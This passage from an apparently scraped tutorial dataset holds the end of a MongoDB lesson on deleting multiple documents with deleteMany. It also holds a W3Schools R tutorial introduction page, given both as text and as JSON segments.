"text": "Following is the query to display all documents from a collection with the help of find() method −" }, { "code": null, "e": 2045, "s": 2004, "text": "> db.deleteMultipleDocumentsDemo.find();" }, { "code": null, "e": 2086, "s": 2045, "text": "This will produce the following output −" }, { "code": null, "e": 2479, "s": 2086, "text": "{ \"_id\" : ObjectId(\"5ce00b07bf3115999ed51214\"), \"StudentFirstName\" : \"Larry\" }\n{ \"_id\" : ObjectId(\"5ce00b0bbf3115999ed51215\"), \"StudentFirstName\" : \"Chris\" }\n{ \"_id\" : ObjectId(\"5ce00b0fbf3115999ed51216\"), \"StudentFirstName\" : \"David\" }\n{ \"_id\" : ObjectId(\"5ce00b12bf3115999ed51217\"), \"StudentFirstName\" : \"Bob\" }\n{ \"_id\" : ObjectId(\"5ce00b18bf3115999ed51218\"), \"StudentFirstName\" : \"Carol\" }" }, { "code": null, "e": 2544, "s": 2479, "text": "Following is the query to delete multiple documents in MongoDB −" }, { "code": null, "e": 2691, "s": 2544, "text": "> db.deleteMultipleDocumentsDemo.deleteMany({StudentFirstName: {$in: [\"Larry\", \"David\", \"Carol\"]}});\n{ \"acknowledged\" : true, \"deletedCount\" : 3 }" }, { "code": null, "e": 2732, "s": 2691, "text": "Let us display the document once again −" }, { "code": null, "e": 2773, "s": 2732, "text": "> db.deleteMultipleDocumentsDemo.find();" }, { "code": null, "e": 2814, "s": 2773, "text": "This will produce the following output −" }, { "code": null, "e": 2970, "s": 2814, "text": "{ \"_id\" : ObjectId(\"5ce00b0bbf3115999ed51215\"), \"StudentFirstName\" : \"Chris\" }\n{ \"_id\" : ObjectId(\"5ce00b12bf3115999ed51217\"), \"StudentFirstName\" : \"Bob\" }" } ]
R Tutorial
R is a programming language. R is often used for statistical computing and graphical presentation to analyze and visualize data. With our "Try it Yourself" editor, you can edit R code and view the result. How to output some text, and how to do a simple calculation in R: Result: How you can use R to easily create a graph with numbers from 1 to 10 on both the x and y axis: Result: We recommend reading this tutorial, in the sequence listed in the left menu. Insert the missing part of the code below to output "Hello World". Hello World Start the Exercise Learn by examples! This tutorial supplements all explanations with clarifying examples. See All R Examples Learn by taking a quiz! This quiz will give you a signal of how much you know about R. Take the R Quiz We just launchedW3Schools videos Get certifiedby completinga course today! If you want to report an error, or if you want to make a suggestion, do not hesitate to send us an e-mail: [email protected] Your message has been sent to W3Schools.
[ { "code": null, "e": 29, "s": 0, "text": "R is a programming language." }, { "code": null, "e": 132, "s": 29, "text": "R is often used for statistical computing and graphical presentation to analyze \n and visualize data." }, { "code": null, "e": 208, "s": 132, "text": "With our \"Try it Yourself\" editor, you can edit R code and view the result." }, { "code": null, "e": 274, "s": 208, "text": "How to output some text, and how to do a simple calculation in R:" }, { "code": null, "e": 282, "s": 274, "text": "Result:" }, { "code": null, "e": 378, "s": 282, "text": "How you can use R to easily create a graph with \nnumbers from 1 to 10 on both the x and y axis:" }, { "code": null, "e": 386, "s": 378, "text": "Result:" }, { "code": null, "e": 463, "s": 386, "text": "We recommend reading this tutorial, in the sequence listed in the left menu." }, { "code": null, "e": 530, "s": 463, "text": "Insert the missing part of the code below to output \"Hello World\"." }, { "code": null, "e": 543, "s": 530, "text": "Hello World\n" }, { "code": null, "e": 562, "s": 543, "text": "Start the Exercise" }, { "code": null, "e": 650, "s": 562, "text": "Learn by examples! This tutorial supplements all explanations with clarifying examples." }, { "code": null, "e": 670, "s": 650, "text": "\nSee All R Examples" }, { "code": null, "e": 757, "s": 670, "text": "Learn by taking a quiz! This quiz will give you a signal of how much you know about R." }, { "code": null, "e": 773, "s": 757, "text": "Take the R Quiz" }, { "code": null, "e": 806, "s": 773, "text": "We just launchedW3Schools videos" }, { "code": null, "e": 848, "s": 806, "text": "Get certifiedby completinga course today!" }, { "code": null, "e": 955, "s": 848, "text": "If you want to report an error, or if you want to make a suggestion, do not hesitate to send us an e-mail:" }, { "code": null, "e": 974, "s": 955, "text": "[email protected]" } ]